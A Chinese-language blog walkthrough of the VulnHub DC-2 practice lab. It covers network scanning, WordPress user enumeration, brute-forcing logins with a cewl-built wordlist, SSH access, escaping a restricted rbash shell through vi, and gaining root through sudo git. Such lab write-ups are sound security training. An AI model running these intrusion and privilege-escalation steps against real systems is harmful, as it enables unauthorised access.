当前位置:网站首页>【Try to Hack】vulnhub DC2
【Try to Hack】vulnhub DC2
2022-06-29 14:08:00 【开心星人】
博客主页:开心星人的博客主页
系列专栏:Try to Hack
欢迎关注点赞收藏️留言
首发时间:2022年6月29日
作者水平很有限,如果发现错误,还望告知,感谢!
靶机知识点:
1、hosts文件
2、dirb扫目录
3、wpscan枚举用户名
4、cewl爬取密码
5、ssh服务登录
6、rbash逃逸
7、git提权

首先是桥接模式
要注意的是这个靶场不是静态IP,那个192.168.0.145只是个示例,告诉我们如何设置hosts文件的
照常下载靶机,它默认就是桥接模式了
不需要改动
kali攻击机也设置桥接模式(我是这样弄的)
netdiscover进行主机发现
因为靶机不是桥接模式,和我们的kali可能不在同一个网段arp-scan -l也只能扫描和kali在同一网段的主机
这个是我们的靶机,因为VMare,Inc
端口扫描namp -sV -p- 192.168.0.131
80端口开放,访问192.168.0.131
这样的结果
根据刚开始题目的描述,去设置一下hostsvim /etc/hosts

访问成功
提示我们使用cewlwhatweb 192.168.0.131
是wordpress
dirb http://192.168.0.131
目录扫描
http://192.168.0.131/wp-admin/
可能是后台,访问一下
确实是,需要账号和密码
现在我们使用cewl吧
爬取网站内容,生成字典
cewl dc-2 > dc-2.txt
这是密码字典
我们使用wpscan获得用户名wpscan --url http://dc-2 -e u

保存为user.txt
wpscan --url http://dc-2 --usernames user.txt --passwords dc-2.txt
用bp也可以
登录jerry,简单找一下

提示我们不能利用wordpress的漏洞

以为在这可以写shell的
用两个账号密码登录ssh
ssh -p 7744 [email protected]192.168.0.131
ssh -p 7744 [email protected]192.168.0.131

登录进去了,也发现flag3了
但是读文件的命令被ban了
看下可以使用哪些命令
echo $PATH
echo /home/tom/usr/bin/*

vi flag3.txt
看到了flag
看wp明白,让我们用tom用户切换到jerry
需要使用su

rbash逃逸
rbash与一般shell的区别在于会限制一些行为,让一些命令无法执行。
【渗透测试】— rbash逃逸方法简述
在vi的:中可以将/bin/bash复制给shellvi
输入::set shell=/bin/sh
再输入::shell
得到shell了
切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

成功了
找一下flag
提示git
git提权
方法一
sudo git help config
!/bin/bash 或 !‘sh’
方法二
sudo git -p help
!/bin/bash

边栏推荐
猜你喜欢
Redis fragment cluster setup and use tutorial

win11怎么看cpu几核几线程? win11查看cpu是几核几线程的教程

Recruiting talents and seeking development | Jincang of the National People's Congress won the "best employer school recruitment case Award"

微信小程序:装B神器P图修改微信流量主小程序源码下载趣味恶搞图制作免服务器域名

单端口RAM实现FIFO

【blackduck】jenkins下配置指定的synopsys-detect扫描版本

微信小程序:修复采集接口版云开发表情包

织梦dedecms资源素材教程下载网站模板源码(带手机移动端)附安装教程

精品商城拼团秒杀优惠折扣全功能完美双端自适应对接个人免签网站源码

中康控股开启招股:拟募资净额3.95亿港元,预计7月12日上市
随机推荐
matplotlib直方图,柱状图
“死掉”的诺基亚,一年躺赚1500亿
go-zero微服务实战系列(七、请求量这么高该如何优化)
Redis的持久化机制
Transport layer user datagram protocol (UDP)
浅析 Istio——可观测性
[important notice] the 2022 series of awards and recommendations of China graphics society were launched
Investors fell off the altar: 0 sales in half a year, transferred to business and delivered takeout
uniApp问题清单与经验
QRCode自定义二维码中间图片
Wechat applet: new and exclusive cloud development wechat group contacts
MySQL数据库:drop、truncate、delete的区别
Characteristics of human immaturity
golang代码规范整理
Redis' cache avalanche, cache breakdown, cache penetration, cache preheating, and cache degradation
微信小程序:全新獨家雲開發微群人脈
Installation and removal of cover for CPU protection on desktop motherboard
Redis为什么这么快?Redis是单线程还是多线程?
JUC multithreading: creation and working principle of thread pool
[Jenkins] pipeline controls the sequential execution of multiple jobs for timed continuous integration